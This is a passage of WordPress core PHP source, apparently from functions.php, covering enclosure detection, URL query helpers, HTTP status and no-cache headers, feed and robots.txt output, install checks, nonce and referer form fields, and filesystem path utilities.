			if ( isset( $test['query'] ) ) {
				$post_links[] = $link_test;
			} elseif ( isset( $test['path'] ) && ( '/' !== $test['path'] ) && ( '' !== $test['path'] ) ) {
				$post_links[] = $link_test;
			}
		}
	}

	/**
	 * Filters the list of enclosure links before querying the database.
	 *
	 * Allows for the addition and/or removal of potential enclosures to save
	 * to postmeta before checking the database for existing enclosures.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $post_links An array of enclosure links.
	 * @param int      $post_id    Post ID.
	 */
	$post_links = apply_filters( 'enclosure_links', $post_links, $post->ID );

	foreach ( (array) $post_links as $url ) {
		$url = strip_fragment_from_url( $url );

		if ( '' !== $url && ! $wpdb->get_var( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE post_id = %d AND meta_key = 'enclosure' AND meta_value LIKE %s", $post->ID, $wpdb->esc_like( $url ) . '%' ) ) ) {

			$headers = wp_get_http_headers( $url );
			if ( $headers ) {
				$len           = isset( $headers['Content-Length'] ) ? (int) $headers['Content-Length'] : 0;
				$type          = isset( $headers['Content-Type'] ) ? $headers['Content-Type'] : '';
				$allowed_types = array( 'video', 'audio' );

				// Check to see if we can figure out the mime type from the extension.
				$url_parts = parse_url( $url );
				if ( false !== $url_parts && ! empty( $url_parts['path'] ) ) {
					$extension = pathinfo( $url_parts['path'], PATHINFO_EXTENSION );
					if ( ! empty( $extension ) ) {
						foreach ( wp_get_mime_types() as $exts => $mime ) {
							if ( preg_match( '!^(' . $exts . ')$!i', $extension ) ) {
								$type = $mime;
								break;
							}
						}
					}
				}

				if ( in_array( substr( $type, 0, strpos( $type, '/' ) ), $allowed_types, true ) ) {
					add_post_meta( $post->ID, 'enclosure', "$url\n$len\n$mime\n" );
				}
			}
		}
	}
}

/**
 * Retrieves HTTP Headers from URL.
 *
 * @since 1.5.1
 *
 * @param string $url        URL to retrieve HTTP headers from.
 * @param bool   $deprecated Not Used.
 * @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure.
 */
function wp_get_http_headers( $url, $deprecated = false ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.7.0' );
	}

	$response = wp_safe_remote_head( $url );

	if ( is_wp_error( $response ) ) {
		return false;
	}

	return wp_remote_retrieve_headers( $response );
}

/**
 * Determines whether the publish date of the current post in the loop is different
 * from the publish date of the previous post in the loop.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 0.71
 *
 * @global string $currentday  The day of the current post in the loop.
 * @global string $previousday The day of the previous post in the loop.
 *
 * @return int 1 when new day, 0 if not a new day.
 */
function is_new_day() {
	global $currentday, $previousday;

	if ( $currentday !== $previousday ) {
		return 1;
	} else {
		return 0;
	}
}

/**
 * Builds URL query based on an associative and, or indexed array.
 *
 * This is a convenient function for easily building url queries. It sets the
 * separator to '&' and uses _http_build_query() function.
 *
 * @since 2.3.0
 *
 * @see _http_build_query() Used to build the query
 * @link https://www.php.net/manual/en/function.http-build-query.php for more on what
 *       http_build_query() does.
 *
 * @param array $data URL-encode key/value pairs.
 * @return string URL-encoded string.
 */
function build_query( $data ) {
	return _http_build_query( $data, null, '&', '', false );
}

/**
 * From php.net (modified by Mark Jaquith to behave like the native PHP5 function).
 *
 * @since 3.2.0
 * @access private
 *
 * @see https://www.php.net/manual/en/function.http-build-query.php
 *
 * @param array|object $data      An array or object of data. Converted to array.
 * @param string       $prefix    Optional. Numeric index. If set, start parameter numbering with it.
 *                                Default null.
 * @param string       $sep       Optional. Argument separator; defaults to 'arg_separator.output'.
 *                                Default null.
 * @param string       $key       Optional. Used to prefix key name. Default empty string.
 * @param bool         $urlencode Optional. Whether to use urlencode() in the result. Default true.
 * @return string The query string.
 */
function _http_build_query( $data, $prefix = null, $sep = null, $key = '', $urlencode = true ) {
	$ret = array();

	foreach ( (array) $data as $k => $v ) {
		if ( $urlencode ) {
			$k = urlencode( $k );
		}

		if ( is_int( $k ) && null !== $prefix ) {
			$k = $prefix . $k;
		}

		if ( ! empty( $key ) ) {
			$k = $key . '%5B' . $k . '%5D';
		}

		if ( null === $v ) {
			continue;
		} elseif ( false === $v ) {
			$v = '0';
		}

		if ( is_array( $v ) || is_object( $v ) ) {
			array_push( $ret, _http_build_query( $v, '', $sep, $k, $urlencode ) );
		} elseif ( $urlencode ) {
			array_push( $ret, $k . '=' . urlencode( $v ) );
		} else {
			array_push( $ret, $k . '=' . $v );
		}
	}

	if ( null === $sep ) {
		$sep = ini_get( 'arg_separator.output' );
	}

	return implode( $sep, $ret );
}

/**
 * Retrieves a modified URL query string.
 *
 * You can rebuild the URL and append query variables to the URL query by using this function.
 * There are two ways to use this function; either a single key and value, or an associative array.
 *
 * Using a single key and value:
 *
 *     add_query_arg( 'key', 'value', 'http://example.com' );
 *
 * Using an associative array:
 *
 *     add_query_arg( array(
 *         'key1' => 'value1',
 *         'key2' => 'value2',
 *     ), 'http://example.com' );
 *
 * Omitting the URL from either use results in the current URL being used
 * (the value of `$_SERVER['REQUEST_URI']`).
 *
 * Values are expected to be encoded appropriately with urlencode() or rawurlencode().
 *
 * Setting any query variable's value to boolean false removes the key (see remove_query_arg()).
 *
 * Important: The return value of add_query_arg() is not escaped by default. Output should be
 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
 * (XSS) attacks.
 *
 * @since 1.5.0
 * @since 5.3.0 Formalized the existing and already documented parameters
 *              by adding `...$args` to the function signature.
 *
 * @param string|array $key   Either a query variable key, or an associative array of query variables.
 * @param string       $value Optional. Either a query variable value, or a URL to act upon.
 * @param string       $url   Optional. A URL to act upon.
 * @return string New URL query string (unescaped).
 */
function add_query_arg( ...$args ) {
	if ( is_array( $args[0] ) ) {
		if ( count( $args ) < 2 || false === $args[1] ) {
			$uri = $_SERVER['REQUEST_URI'];
		} else {
			$uri = $args[1];
		}
	} else {
		if ( count( $args ) < 3 || false === $args[2] ) {
			$uri = $_SERVER['REQUEST_URI'];
		} else {
			$uri = $args[2];
		}
	}

	$frag = strstr( $uri, '#' );
	if ( $frag ) {
		$uri = substr( $uri, 0, -strlen( $frag ) );
	} else {
		$frag = '';
	}

	if ( 0 === stripos( $uri, 'http://' ) ) {
		$protocol = 'http://';
		$uri      = substr( $uri, 7 );
	} elseif ( 0 === stripos( $uri, 'https://' ) ) {
		$protocol = 'https://';
		$uri      = substr( $uri, 8 );
	} else {
		$protocol = '';
	}

	if ( str_contains( $uri, '?' ) ) {
		list( $base, $query ) = explode( '?', $uri, 2 );
		$base                .= '?';
	} elseif ( $protocol || ! str_contains( $uri, '=' ) ) {
		$base  = $uri . '?';
		$query = '';
	} else {
		$base  = '';
		$query = $uri;
	}

	wp_parse_str( $query, $qs );
	$qs = urlencode_deep( $qs ); // This re-URL-encodes things that were already in the query string.
	if ( is_array( $args[0] ) ) {
		foreach ( $args[0] as $k => $v ) {
			$qs[ $k ] = $v;
		}
	} else {
		$qs[ $args[0] ] = $args[1];
	}

	foreach ( $qs as $k => $v ) {
		if ( false === $v ) {
			unset( $qs[ $k ] );
		}
	}

	$ret = build_query( $qs );
	$ret = trim( $ret, '?' );
	$ret = preg_replace( '#=(&|$)#', '$1', $ret );
	$ret = $protocol . $base . $ret . $frag;
	$ret = rtrim( $ret, '?' );
	$ret = str_replace( '?#', '#', $ret );
	return $ret;
}

/**
 * Removes an item or items from a query string.
 *
 * Important: The return value of remove_query_arg() is not escaped by default. Output should be
 * late-escaped with esc_url() or similar to help prevent vulnerability to cross-site scripting
 * (XSS) attacks.
 *
 * @since 1.5.0
 *
 * @param string|string[] $key   Query key or keys to remove.
 * @param false|string    $query Optional. When false uses the current URL. Default false.
 * @return string New URL query string.
 */
function remove_query_arg( $key, $query = false ) {
	if ( is_array( $key ) ) { // Removing multiple keys.
		foreach ( $key as $k ) {
			$query = add_query_arg( $k, false, $query );
		}
		return $query;
	}
	return add_query_arg( $key, false, $query );
}

/**
 * Returns an array of single-use query variable names that can be removed from a URL.
 *
 * @since 4.4.0
 *
 * @return string[] An array of query variable names to remove from the URL.
 */
function wp_removable_query_args() {
	$removable_query_args = array(
		'activate',
		'activated',
		'admin_email_remind_later',
		'approved',
		'core-major-auto-updates-saved',
		'deactivate',
		'delete_count',
		'deleted',
		'disabled',
		'doing_wp_cron',
		'enabled',
		'error',
		'hotkeys_highlight_first',
		'hotkeys_highlight_last',
		'ids',
		'locked',
		'message',
		'same',
		'saved',
		'settings-updated',
		'skipped',
		'spammed',
		'trashed',
		'unspammed',
		'untrashed',
		'update',
		'updated',
		'wp-post-new-reload',
	);

	/**
	 * Filters the list of query variable names to remove.
	 *
	 * @since 4.2.0
	 *
	 * @param string[] $removable_query_args An array of query variable names to remove from a URL.
	 */
	return apply_filters( 'removable_query_args', $removable_query_args );
}

/**
 * Walks the array while sanitizing the contents.
 *
 * @since 0.71
 * @since 5.5.0 Non-string values are left untouched.
 *
 * @param array $input_array Array to walk while sanitizing contents.
 * @return array Sanitized $input_array.
 */
function add_magic_quotes( $input_array ) {
	foreach ( (array) $input_array as $k => $v ) {
		if ( is_array( $v ) ) {
			$input_array[ $k ] = add_magic_quotes( $v );
		} elseif ( is_string( $v ) ) {
			$input_array[ $k ] = addslashes( $v );
		}
	}

	return $input_array;
}

/**
 * HTTP request for URI to retrieve content.
 *
 * @since 1.5.1
 *
 * @see wp_safe_remote_get()
 *
 * @param string $uri URI/URL of web page to retrieve.
 * @return string|false HTTP content. False on failure.
 */
function wp_remote_fopen( $uri ) {
	$parsed_url = parse_url( $uri );

	if ( ! $parsed_url || ! is_array( $parsed_url ) ) {
		return false;
	}

	$options            = array();
	$options['timeout'] = 10;

	$response = wp_safe_remote_get( $uri, $options );

	if ( is_wp_error( $response ) ) {
		return false;
	}

	return wp_remote_retrieve_body( $response );
}

/**
 * Sets up the WordPress query.
 *
 * @since 2.0.0
 *
 * @global WP       $wp           Current WordPress environment instance.
 * @global WP_Query $wp_query     WordPress Query object.
 * @global WP_Query $wp_the_query Copy of the WordPress Query object.
 *
 * @param string|array $query_vars Default WP_Query arguments.
 */
function wp( $query_vars = '' ) {
	global $wp, $wp_query, $wp_the_query;

	$wp->main( $query_vars );

	if ( ! isset( $wp_the_query ) ) {
		$wp_the_query = $wp_query;
	}
}

/**
 * Retrieves the description for the HTTP status.
 *
 * @since 2.3.0
 * @since 3.9.0 Added status codes 418, 428, 429, 431, and 511.
 * @since 4.5.0 Added status codes 308, 421, and 451.
 * @since 5.1.0 Added status code 103.
 *
 * @global array $wp_header_to_desc
 *
 * @param int $code HTTP status code.
 * @return string Status description if found, an empty string otherwise.
 */
function get_status_header_desc( $code ) {
	global $wp_header_to_desc;

	$code = absint( $code );

	if ( ! isset( $wp_header_to_desc ) ) {
		$wp_header_to_desc = array(
			100 => 'Continue',
			101 => 'Switching Protocols',
			102 => 'Processing',
			103 => 'Early Hints',

			200 => 'OK',
			201 => 'Created',
			202 => 'Accepted',
			203 => 'Non-Authoritative Information',
			204 => 'No Content',
			205 => 'Reset Content',
			206 => 'Partial Content',
			207 => 'Multi-Status',
			226 => 'IM Used',

			300 => 'Multiple Choices',
			301 => 'Moved Permanently',
			302 => 'Found',
			303 => 'See Other',
			304 => 'Not Modified',
			305 => 'Use Proxy',
			306 => 'Reserved',
			307 => 'Temporary Redirect',
			308 => 'Permanent Redirect',

			400 => 'Bad Request',
			401 => 'Unauthorized',
			402 => 'Payment Required',
			403 => 'Forbidden',
			404 => 'Not Found',
			405 => 'Method Not Allowed',
			406 => 'Not Acceptable',
			407 => 'Proxy Authentication Required',
			408 => 'Request Timeout',
			409 => 'Conflict',
			410 => 'Gone',
			411 => 'Length Required',
			412 => 'Precondition Failed',
			413 => 'Request Entity Too Large',
			414 => 'Request-URI Too Long',
			415 => 'Unsupported Media Type',
			416 => 'Requested Range Not Satisfiable',
			417 => 'Expectation Failed',
			418 => 'I\'m a teapot',
			421 => 'Misdirected Request',
			422 => 'Unprocessable Entity',
			423 => 'Locked',
			424 => 'Failed Dependency',
			426 => 'Upgrade Required',
			428 => 'Precondition Required',
			429 => 'Too Many Requests',
			431 => 'Request Header Fields Too Large',
			451 => 'Unavailable For Legal Reasons',

			500 => 'Internal Server Error',
			501 => 'Not Implemented',
			502 => 'Bad Gateway',
			503 => 'Service Unavailable',
			504 => 'Gateway Timeout',
			505 => 'HTTP Version Not Supported',
			506 => 'Variant Also Negotiates',
			507 => 'Insufficient Storage',
			510 => 'Not Extended',
			511 => 'Network Authentication Required',
		);
	}

	if ( isset( $wp_header_to_desc[ $code ] ) ) {
		return $wp_header_to_desc[ $code ];
	} else {
		return '';
	}
}

/**
 * Sets HTTP status header.
 *
 * @since 2.0.0
 * @since 4.4.0 Added the `$description` parameter.
 *
 * @see get_status_header_desc()
 *
 * @param int    $code        HTTP status code.
 * @param string $description Optional. A custom description for the HTTP status.
 *                            Defaults to the result of get_status_header_desc() for the given code.
 */
function status_header( $code, $description = '' ) {
	if ( ! $description ) {
		$description = get_status_header_desc( $code );
	}

	if ( empty( $description ) ) {
		return;
	}

	$protocol      = wp_get_server_protocol();
	$status_header = "$protocol $code $description";
	if ( function_exists( 'apply_filters' ) ) {

		/**
		 * Filters an HTTP status header.
		 *
		 * @since 2.2.0
		 *
		 * @param string $status_header HTTP status header.
		 * @param int    $code          HTTP status code.
		 * @param string $description   Description for the status code.
		 * @param string $protocol      Server protocol.
		 */
		$status_header = apply_filters( 'status_header', $status_header, $code, $description, $protocol );
	}

	if ( ! headers_sent() ) {
		header( $status_header, true, $code );
	}
}

/**
 * Gets the HTTP header information to prevent caching.
 *
 * The several different headers cover the different ways cache prevention
 * is handled by different browsers.
 *
 * @since 2.8.0
 * @since 6.3.0 The `Cache-Control` header for logged in users now includes the
 *              `no-store` and `private` directives.
 *
 * @return array The associative array of header names and field values.
 */
function wp_get_nocache_headers() {
	$cache_control = ( function_exists( 'is_user_logged_in' ) && is_user_logged_in() )
		? 'no-cache, must-revalidate, max-age=0, no-store, private'
		: 'no-cache, must-revalidate, max-age=0';

	$headers = array(
		'Expires'       => 'Wed, 11 Jan 1984 05:00:00 GMT',
		'Cache-Control' => $cache_control,
	);

	if ( function_exists( 'apply_filters' ) ) {
		/**
		 * Filters the cache-controlling HTTP headers that are used to prevent caching.
		 *
		 * @since 2.8.0
		 *
		 * @see wp_get_nocache_headers()
		 *
		 * @param array $headers Header names and field values.
		 */
		$headers = (array) apply_filters( 'nocache_headers', $headers );
	}
	$headers['Last-Modified'] = false;
	return $headers;
}

/**
 * Sets the HTTP headers to prevent caching for the different browsers.
 *
 * Different browsers support different nocache headers, so several
 * headers must be sent so that all of them get the point that no
 * caching should occur.
 *
 * @since 2.0.0
 *
 * @see wp_get_nocache_headers()
 */
function nocache_headers() {
	if ( headers_sent() ) {
		return;
	}

	$headers = wp_get_nocache_headers();

	unset( $headers['Last-Modified'] );

	header_remove( 'Last-Modified' );

	foreach ( $headers as $name => $field_value ) {
		header( "{$name}: {$field_value}" );
	}
}

/**
 * Sets the HTTP headers for caching for 10 days with JavaScript content type.
 *
 * @since 2.1.0
 */
function cache_javascript_headers() {
	$expires_offset = 10 * DAY_IN_SECONDS;

	header( 'Content-Type: text/javascript; charset=' . get_bloginfo( 'charset' ) );
	header( 'Vary: Accept-Encoding' ); // Handle proxies.
	header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' );
}

/**
 * Retrieves the number of database queries during the WordPress execution.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return int Number of database queries.
 */
function get_num_queries() {
	global $wpdb;
	return $wpdb->num_queries;
}

/**
 * Determines whether input is yes or no.
 *
 * Must be 'y' to be true.
 *
 * @since 1.0.0
 *
 * @param string $yn Character string containing either 'y' (yes) or 'n' (no).
 * @return bool True if 'y', false on anything else.
 */
function bool_from_yn( $yn ) {
	return ( 'y' === strtolower( $yn ) );
}

/**
 * Loads the feed template from the use of an action hook.
 *
 * If the feed action does not have a hook, then the function will die with a
 * message telling the visitor that the feed is not valid.
 *
 * It is better to only have one hook for each feed.
 *
 * @since 2.1.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 */
function do_feed() {
	global $wp_query;

	$feed = get_query_var( 'feed' );

	// Remove the pad, if present.
	$feed = preg_replace( '/^_+/', '', $feed );

	if ( '' === $feed || 'feed' === $feed ) {
		$feed = get_default_feed();
	}

	if ( ! has_action( "do_feed_{$feed}" ) ) {
		wp_die( __( '<strong>Error:</strong> This is not a valid feed template.' ), '', array( 'response' => 404 ) );
	}

	/**
	 * Fires once the given feed is loaded.
	 *
	 * The dynamic portion of the hook name, `$feed`, refers to the feed template name.
	 *
	 * Possible hook names include:
	 *
	 *  - `do_feed_atom`
	 *  - `do_feed_rdf`
	 *  - `do_feed_rss`
	 *  - `do_feed_rss2`
	 *
	 * @since 2.1.0
	 * @since 4.4.0 The `$feed` parameter was added.
	 *
	 * @param bool   $is_comment_feed Whether the feed is a comment feed.
	 * @param string $feed            The feed name.
	 */
	do_action( "do_feed_{$feed}", $wp_query->is_comment_feed, $feed );
}

/**
 * Loads the RDF RSS 0.91 Feed template.
 *
 * @since 2.1.0
 *
 * @see load_template()
 */
function do_feed_rdf() {
	load_template( ABSPATH . WPINC . '/feed-rdf.php' );
}

/**
 * Loads the RSS 1.0 Feed Template.
 *
 * @since 2.1.0
 *
 * @see load_template()
 */
function do_feed_rss() {
	load_template( ABSPATH . WPINC . '/feed-rss.php' );
}

/**
 * Loads either the RSS2 comment feed or the RSS2 posts feed.
 *
 * @since 2.1.0
 *
 * @see load_template()
 *
 * @param bool $for_comments True for the comment feed, false for normal feed.
 */
function do_feed_rss2( $for_comments ) {
	if ( $for_comments ) {
		load_template( ABSPATH . WPINC . '/feed-rss2-comments.php' );
	} else {
		load_template( ABSPATH . WPINC . '/feed-rss2.php' );
	}
}

/**
 * Loads either Atom comment feed or Atom posts feed.
 *
 * @since 2.1.0
 *
 * @see load_template()
 *
 * @param bool $for_comments True for the comment feed, false for normal feed.
 */
function do_feed_atom( $for_comments ) {
	if ( $for_comments ) {
		load_template( ABSPATH . WPINC . '/feed-atom-comments.php' );
	} else {
		load_template( ABSPATH . WPINC . '/feed-atom.php' );
	}
}

/**
 * Displays the default robots.txt file content.
 *
 * @since 2.1.0
 * @since 5.3.0 Remove the "Disallow: /" output if search engine visibility is
 *              discouraged in favor of robots meta HTML tag via wp_robots_no_robots()
 *              filter callback.
 */
function do_robots() {
	header( 'Content-Type: text/plain; charset=utf-8' );

	/**
	 * Fires when displaying the robots.txt file.
	 *
	 * @since 2.1.0
	 */
	do_action( 'do_robotstxt' );

	$output = "User-agent: *\n";
	$public = get_option( 'blog_public' );

	$site_url = parse_url( site_url() );
	$path     = ( ! empty( $site_url['path'] ) ) ? $site_url['path'] : '';
	$output  .= "Disallow: $path/wp-admin/\n";
	$output  .= "Allow: $path/wp-admin/admin-ajax.php\n";

	/**
	 * Filters the robots.txt output.
	 *
	 * @since 3.0.0
	 *
	 * @param string $output The robots.txt output.
	 * @param bool   $public Whether the site is considered "public".
	 */
	echo apply_filters( 'robots_txt', $output, $public );
}

/**
 * Displays the favicon.ico file content.
 *
 * @since 5.4.0
 */
function do_favicon() {
	/**
	 * Fires when serving the favicon.ico file.
	 *
	 * @since 5.4.0
	 */
	do_action( 'do_faviconico' );

	wp_redirect( get_site_icon_url( 32, includes_url( 'images/w-logo-blue-white-bg.png' ) ) );
	exit;
}

/**
 * Determines whether WordPress is already installed.
 *
 * The cache will be checked first. If you have a cache plugin, which saves
 * the cache values, then this will work. If you use the default WordPress
 * cache, and the database goes away, then you might have problems.
 *
 * Checks for the 'siteurl' option for whether WordPress is installed.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @return bool Whether the site is already installed.
 */
function is_blog_installed() {
	global $wpdb;

	/*
	 * Check cache first. If options table goes away and we have true
	 * cached, oh well.
	 */
	if ( wp_cache_get( 'is_blog_installed' ) ) {
		return true;
	}

	$suppress = $wpdb->suppress_errors();

	if ( ! wp_installing() ) {
		$alloptions = wp_load_alloptions();
	}

	// If siteurl is not set to autoload, check it specifically.
	if ( ! isset( $alloptions['siteurl'] ) ) {
		$installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
	} else {
		$installed = $alloptions['siteurl'];
	}

	$wpdb->suppress_errors( $suppress );

	$installed = ! empty( $installed );
	wp_cache_set( 'is_blog_installed', $installed );

	if ( $installed ) {
		return true;
	}

	// If visiting repair.php, return true and let it take over.
	if ( defined( 'WP_REPAIRING' ) ) {
		return true;
	}

	$suppress = $wpdb->suppress_errors();

	/*
	 * Loop over the WP tables. If none exist, then scratch installation is allowed.
	 * If one or more exist, suggest table repair since we got here because the
	 * options table could not be accessed.
	 */
	$wp_tables = $wpdb->tables();
	foreach ( $wp_tables as $table ) {
		// The existence of custom user tables shouldn't suggest an unwise state or prevent a clean installation.
		if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE === $table ) {
			continue;
		}

		if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE === $table ) {
			continue;
		}

		$described_table = $wpdb->get_results( "DESCRIBE $table;" );
		if (
			( ! $described_table && empty( $wpdb->last_error ) ) ||
			( is_array( $described_table ) && 0 === count( $described_table ) )
		) {
			continue;
		}

		// One or more tables exist. This is not good.

		wp_load_translations_early();

		// Die with a DB error.
		$wpdb->error = sprintf(
			/* translators: %s: Database repair URL. */
			__( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ),
			'maint/repair.php?referrer=is_blog_installed'
		);

		dead_db();
	}

	$wpdb->suppress_errors( $suppress );

	wp_cache_set( 'is_blog_installed', false );

	return false;
}

/**
 * Retrieves URL with nonce added to URL query.
 *
 * @since 2.0.4
 *
 * @param string     $actionurl URL to add nonce action.
 * @param int|string $action    Optional. Nonce action name. Default -1.
 * @param string     $name      Optional. Nonce name. Default '_wpnonce'.
 * @return string Escaped URL with nonce action added.
 */
function wp_nonce_url( $actionurl, $action = -1, $name = '_wpnonce' ) {
	$actionurl = str_replace( '&amp;', '&', $actionurl );
	return esc_html( add_query_arg( $name, wp_create_nonce( $action ), $actionurl ) );
}

/**
 * Retrieves or display nonce hidden field for forms.
 *
 * The nonce field is used to validate that the contents of the form came from
 * the location on the current site and not somewhere else. The nonce does not
 * offer absolute protection, but should protect against most cases. It is very
 * important to use nonce field in forms.
 *
 * The $action and $name are optional, but if you want to have better security,
 * it is strongly suggested to set those two parameters. It is easier to just
 * call the function without any parameters, because validation of the nonce
 * doesn't require any parameters, but since crackers know what the default is
 * it won't be difficult for them to find a way around your nonce and cause
 * damage.
 *
 * The input name will be whatever $name value you gave. The input value will be
 * the nonce creation value.
 *
 * @since 2.0.4
 *
 * @param int|string $action  Optional. Action name. Default -1.
 * @param string     $name    Optional. Nonce name. Default '_wpnonce'.
 * @param bool       $referer Optional. Whether to set the referer field for validation. Default true.
 * @param bool       $display Optional. Whether to display or return hidden form field. Default true.
 * @return string Nonce field HTML markup.
 */
function wp_nonce_field( $action = -1, $name = '_wpnonce', $referer = true, $display = true ) {
	$name        = esc_attr( $name );
	$nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';

	if ( $referer ) {
		$nonce_field .= wp_referer_field( false );
	}

	if ( $display ) {
		echo $nonce_field;
	}

	return $nonce_field;
}

/**
 * Retrieves or displays referer hidden field for forms.
 *
 * The referer link is the current Request URI from the server super global. The
 * input name is '_wp_http_referer', in case you wanted to check manually.
 *
 * @since 2.0.4
 *
 * @param bool $display Optional. Whether to echo or return the referer field. Default true.
 * @return string Referer field HTML markup.
 */
function wp_referer_field( $display = true ) {
	$request_url   = remove_query_arg( '_wp_http_referer' );
	$referer_field = '<input type="hidden" name="_wp_http_referer" value="' . esc_url( $request_url ) . '" />';

	if ( $display ) {
		echo $referer_field;
	}

	return $referer_field;
}

/**
 * Retrieves or displays original referer hidden field for forms.
 *
 * The input name is '_wp_original_http_referer' and will be either the same
 * value of wp_referer_field(), if that was posted already or it will be the
 * current page, if it doesn't exist.
 *
 * @since 2.0.4
 *
 * @param bool   $display      Optional. Whether to echo the original http referer. Default true.
 * @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
 *                             Default 'current'.
 * @return string Original referer field.
 */
function wp_original_referer_field( $display = true, $jump_back_to = 'current' ) {
	$ref = wp_get_original_referer();

	if ( ! $ref ) {
		$ref = ( 'previous' === $jump_back_to ) ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
	}

	$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';

	if ( $display ) {
		echo $orig_referer_field;
	}

	return $orig_referer_field;
}

/**
 * Retrieves referer from '_wp_http_referer' or HTTP referer.
 *
 * If it's the same as the current request URL, will return false.
 *
 * @since 2.0.4
 *
 * @return string|false Referer URL on success, false on failure.
 */
function wp_get_referer() {
	// Return early if called before wp_validate_redirect() is defined.
	if ( ! function_exists( 'wp_validate_redirect' ) ) {
		return false;
	}

	$ref = wp_get_raw_referer();

	if ( $ref && wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref
		&& home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) !== $ref
	) {
		return wp_validate_redirect( $ref, false );
	}

	return false;
}

/**
 * Retrieves unvalidated referer from the '_wp_http_referer' URL query variable or the HTTP referer.
 *
 * If the value of the '_wp_http_referer' URL query variable is not a string then it will be ignored.
 *
 * Do not use for redirects, use wp_get_referer() instead.
 *
 * @since 4.5.0
 *
 * @return string|false Referer URL on success, false on failure.
 */
function wp_get_raw_referer() {
	if ( ! empty( $_REQUEST['_wp_http_referer'] ) && is_string( $_REQUEST['_wp_http_referer'] ) ) {
		return wp_unslash( $_REQUEST['_wp_http_referer'] );
	} elseif ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
		return wp_unslash( $_SERVER['HTTP_REFERER'] );
	}

	return false;
}

/**
 * Retrieves original referer that was posted, if it exists.
 *
 * @since 2.0.4
 *
 * @return string|false Original referer URL on success, false on failure.
 */
function wp_get_original_referer() {
	// Return early if called before wp_validate_redirect() is defined.
	if ( ! function_exists( 'wp_validate_redirect' ) ) {
		return false;
	}

	if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) ) {
		return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
	}

	return false;
}

/**
 * Recursive directory creation based on full path.
 *
 * Will attempt to set permissions on folders.
 *
 * @since 2.0.1
 *
 * @param string $target Full path to attempt to create.
 * @return bool Whether the path was created. True if path already exists.
 */
function wp_mkdir_p( $target ) {
	$wrapper = null;

	// Strip the protocol.
	if ( wp_is_stream( $target ) ) {
		list( $wrapper, $target ) = explode( '://', $target, 2 );
	}

	// From php.net/mkdir user contributed notes.
	$target = str_replace( '//', '/', $target );

	// Put the wrapper back on the target.
	if ( null !== $wrapper ) {
		$target = $wrapper . '://' . $target;
	}

	/*
	 * Safe mode fails with a trailing slash under certain PHP versions.
	 * Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
	 */
	$target = rtrim( $target, '/' );
	if ( empty( $target ) ) {
		$target = '/';
	}

	if ( file_exists( $target ) ) {
		return @is_dir( $target );
	}

	// Do not allow path traversals.
	if ( str_contains( $target, '../' ) || str_contains( $target, '..' . DIRECTORY_SEPARATOR ) ) {
		return false;
	}

	// We need to find the permissions of the parent folder that exists and inherit that.
	$target_parent = dirname( $target );
	while ( '.' !== $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
		$target_parent = dirname( $target_parent );
	}

	// Get the permission bits.
	$stat = @stat( $target_parent );
	if ( $stat ) {
		$dir_perms = $stat['mode'] & 0007777;
	} else {
		$dir_perms = 0777;
	}

	if ( @mkdir( $target, $dir_perms, true ) ) {

		/*
		 * If a umask is set that modifies $dir_perms, we'll have to re-set
		 * the $dir_perms correctly with chmod()
		 */
		if ( ( $dir_perms & ~umask() ) !== $dir_perms ) {
			$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
			for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
				chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
			}
		}

		return true;
	}

	return false;
}

/**
 * Tests if a given filesystem path is absolute.
 *
 * For example, '/foo/bar', or 'c:\windows'.
 *
 * @since 2.5.0
 *
 * @param string $path File path.
 * @return bool True if path is absolute, false is not absolute.
 */
function path_is_absolute( $path ) {
	/*
	 * Check to see if the path is a stream and check to see if its an actual
	 * path or file as realpath() does not support stream wrappers.
	 */
	if ( wp_is_stream( $path ) && ( is_dir( $path ) || is_file( $path ) ) ) {
		return true;
	}

	/*
	 * This is definitive if true but fails if $path does not exist or contains
	 * a symbolic link.
	 */
	if ( realpath( $path ) === $path ) {
		return true;
	}

	if ( strlen( $path ) === 0 || '.' === $path[0] ) {
		return false;
	}

	// Windows allows absolute paths like this.
	if ( preg_match( '#^[a-zA-Z]:\\\\#', $path ) ) {
		return true;
	}

	// A path starting with / or \ is absolute; anything else is relative.
	return ( '/' === $path[0] || '\\' === $path[0] );
}

/**
 * Joins two filesystem paths together.
 *
 * For example, 'give me $path relative to $base'. If the $path is absolute,
 * then it the full path is returned.
 *
 * @since 2.5.0
 *
 * @param string $base Base path.
